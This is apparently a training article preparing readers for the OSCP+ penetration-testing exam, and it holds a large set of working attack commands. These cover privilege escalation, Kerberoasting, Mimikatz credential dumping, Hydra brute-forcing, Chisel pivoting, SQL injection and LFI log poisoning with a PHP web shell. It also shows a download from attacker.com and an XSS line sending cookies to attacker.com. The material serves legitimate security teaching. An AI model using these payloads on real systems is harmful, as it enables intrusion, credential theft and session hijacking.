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Introduction
The OSCP+ certification demands hands-on proficiency in simulating real-world attacks across Windows, Linux, and Active Directory environments. This article extracts core techniques from a professional CTF training program, providing actionable commands, configuration steps, and exploitation methodologies used by ethical hackers to enumerate, pivot, and escalate privileges.
Learning Objectives
- Execute comprehensive information gathering and privilege escalation attacks on both Windows and Linux targets.
- Perform Active Directory enumeration, Kerberoasting, and lateral movement using tunneling and pivoting.
- Apply password cracking, public exploit adaptation, and professional reporting to simulate OSCP+ exam conditions.
You Should Know
1. Advanced Information Gathering & Enumeration
Effective enumeration is 80% of successful penetration testing. The following commands and tools cover host discovery, port scanning, service enumeration, and SMB/NFS reconnaissance.
Step‑by‑step guide:
Linux – Nmap Full Scan:
Discover live hosts nmap -sn 192.168.1.0/24 Comprehensive port scan with service/OS detection nmap -sC -sV -O -p- -T4 192.168.1.100 -oA full_scan UDP enumeration (time‑consuming) nmap -sU --top-ports 100 192.168.1.100 Masscan for speed on large ranges sudo masscan -p1-65535 192.168.1.0/24 --rate=10000
Windows – Built‑in Enumeration:
Network discovery
net view /all
nslookup target.domain.local
Port scanning via Test-NetConnection
1..1024 | ForEach-Object { Test-NetConnection 192.168.1.100 -Port $_ -WarningAction SilentlyContinue }
SMB share enumeration
net view \192.168.1.100
Tool configuration – enum4linux:
enum4linux -a 192.168.1.100 > enum_output.txt enum4linux -U -S -G 192.168.1.100
Why it matters: Missing a single open port (e.g., 5985 for WinRM or 389 for LDAP) can mean failing the exam. Always combine TCP SYN, UDP, and service‑specific scans.
2. Windows Privilege Escalation (SeImpersonate & Potato Attacks)
Windows misconfigurations like SeImpersonatePrivilege allow token duplication. PrintSpoofer and JuicyPotato are exam staples.
Step‑by‑step guide:
Check privileges:
whoami /priv
Exploit SeImpersonate with PrintSpoofer:
Download PrintSpoofer (compile or get exe) certutil -urlcache -f http://attacker.com/PrintSpoofer64.exe PrintSpoofer.exe Spawn SYSTEM shell PrintSpoofer.exe -i -c cmd.exe
Using JuicyPotato (legacy systems):
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\temp\output.txt" -t
Mitigation: Always apply `SeImpersonate` removal for service accounts and enable “Impersonate a client after authentication” restrictions. Use Process Monitor to detect token abuse.
3. Linux Privilege Escalation (SUID, Sudo, Kernel Exploits)
Linux privesc often relies on misconfigured SUID binaries, weak sudo permissions, or outdated kernels.
Step‑by‑step guide:
Find SUID binaries:
find / -perm -4000 -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null
Exploit common SUID binaries:
Using find with exec
find . -exec /bin/sh \; -quit
Using pkexec (CVE-2021-4034 – Polkit)
python3 -c 'import pty;pty.spawn("/bin/bash")'
./cve-2021-4034-poc
Sudo misconfigurations:
sudo -l If you see (ALL, !root) /usr/bin/vi – bypass with: sudo vi -c ':!/bin/bash'
Automated enumeration – LinPEAS:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh ./linpeas.sh -a > linpeas_output.txt
Kernel exploit (last resort): Use `searchsploit` to match kernel version:
uname -a searchsploit linux kernel 5.4
Hardening: Remove unnecessary SUID bits (chmod u-s), restrict sudo commands, and keep kernels patched.
4. Active Directory Attacks: Kerberoasting & AS‑REP Roasting
AD is the core of modern networks. Extracting service account hashes and abusing weak encryption is OSCP+ essential.
Step‑by‑step guide using Impacket & Rubeus:
Kerberoasting – Extract TGS for SPNs:
Linux with Impacket impacket-GetUserSPNs -dc-ip 192.168.1.10 domain.local/username -request -outputfile kerberoast.hashes Windows with Rubeus Rubeus.exe kerberoast /outfile:hashes.txt
AS‑REP Roasting – No pre‑auth accounts:
impacket-GetNPUsers domain.local/ -dc-ip 192.168.1.10 -request -format hashcat -outputfile asrep.hashes
Crack with hashcat:
hashcat -m 13100 kerberoast.hashes rockyou.txt hashcat -m 18200 asrep.hashes rockyou.txt
Lateral movement – Overpass the Hash:
Use extracted hash to get TGT impacket-getTGT domain.local/user -hashes :NTLMhash export KRB5CCNAME=user.ccache impacket-psexec domain.local/user@target -k -no-pass
Defense: Use long, random passwords for service accounts (24+ chars), enable AES Kerberos encryption, and audit accounts with Don't Require Preauth.
5. Password Attacks (Hashcat, John, Hydra)
Cracking and brute‑forcing credentials is inevitable in CTF exams. Focus on speed and wordlist customization.
Step‑by‑step guide:
Extract NTLM hashes from SAM:
Using Impacket's secretsdump impacket-secretsdump -sam sam.save -system system.save LOCAL
Hashcat modes (most common):
| Hash Type | Mode |
|–|-|
| NTLM | 1000 |
| NetNTLMv2 | 5600 |
| Kerberos 5 TGS | 13100 |
| bcrypt | 3200 |
Example cracking:
hashcat -m 1000 ntlm.txt -a 0 rockyou.txt -r best64.rule --force hashcat -m 5600 netntlmv2.txt -a 3 ?l?l?l?l?l?l?l?l brute 8 lowercase
Hydra for online attacks (SSH/RDP):
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 -t 4 hydra -L users.txt -P passwords.txt rdp://192.168.1.100 -V
Windows – Mimikatz for memory credentials:
privilege::debug sekurlsa::logonpasswords
Best practice: Always run hashcat on GPU instances. Use `–show` to display cracked hashes without re‑cracking.
6. Tunneling & Pivoting (Chisel, SSH, Proxychains)
After compromising a foothold, you must pivot to internal networks. Chisel is the modern favorite.
Step‑by‑step guide:
Chisel – Reverse SOCKS proxy:
On attacker machine (server) chisel server -p 8000 --reverse On compromised target (client) chisel client attacker_ip:8000 R:socks
Configure proxychains:
Edit /etc/proxychains4.conf socks5 127.0.0.1 1080 Then run any tool through proxy proxychains nmap -sT -Pn 10.0.0.0/24
SSH dynamic port forwarding:
From compromised Linux host ssh -D 9050 -N -f user@attacker_vps Windows using plink plink.exe -ssh -D 1080 user@attacker_vps -N
Port forwarding (SSH local):
Forward internal RDP to localhost ssh -L 3389:internal_host:3389 user@jumpbox -N
API security note: When pivoting through APIs, always check `X-Forwarded-For` and `Host` headers – many internal APIs trust localhost implicitly.
7. Web Application Attacks (SQLi, XSS, LFI/RFI)
Web vulnerabilities remain entry points. OSCP+ expects manual exploitation without relying solely on tools.
Step‑by‑step guide – Manual SQLi (UNION):
Determine number of columns GET /products?id=1 ORDER BY 5-- - GET /products?id=1 UNION SELECT NULL,NULL,NULL,NULL-- - Extract database version GET /products?id=1 UNION SELECT @@version,NULL,NULL,NULL-- - Dump tables (MySQL) GET /products?id=1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables-- -
LFI to RCE (log poisoning):
Read /etc/passwd curl "http://target/index.php?page=../../../../etc/passwd" Inject PHP into access log curl -H "User-Agent: <?php system($_GET['cmd']); ?>" http://target/ Execute via LFI curl "http://target/index.php?page=../../../../var/log/apache2/access.log&cmd=id"
XSS to session hijacking:
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Cloud hardening relevance: Web APIs hosted on AWS/Azure often have misconfigured CORS or lack input validation – always test `Origin` headers and use parameterized queries.
What Undercode Say
- Key Takeaway 1: The difference between passing OSCP+ and failing is not advanced exploits – it’s methodical enumeration and knowing exactly which command to run at each stage. Build a checklist: nmap → enum4linux → LinPEAS/winPEAS → BloodHound → manual web tests.
-
Key Takeaway 2: Tunneling and pivoting are the most under‑practiced skills. In real breaches, you rarely attack the target directly; you hop through misconfigured jump boxes. Master Chisel and `proxychains` before exam day.
Analysis: The training topics listed (Active Directory, Windows/Linux privesc, pivoting) align directly with the 2025 OSCP+ exam changes, which now emphasize chain‑of‑attacks over isolated vulnerabilities. Ignite Technologies’ program correctly focuses on public exploit adaptation rather than pure automated scanning – a critical shift because exam patches often break Metasploit modules. Candidates who memorize commands for secretsdump, Rubeus, and `PrintSpoofer` will succeed. However, the inclusion of “Professional Report Writing” is often overlooked; exam points are deducted for poor documentation. Practice writing clean, evidence‑backed reports with screenshots and command logs.
Prediction
As offensive security certifications evolve, CTF‑style training will become the default preparation method over textbook learning. Within 12 months, expect OSCP+ to introduce cloud‑native attack scenarios (AWS IAM misconfigurations, Azure AD hybrid pivots) and require candidates to bypass EDR/AV on live exam machines. Training programs that fail to integrate API security, container breakout, and detection evasion will become obsolete. The future of ethical hacking is not just exploiting – it’s remaining undetected while doing so.
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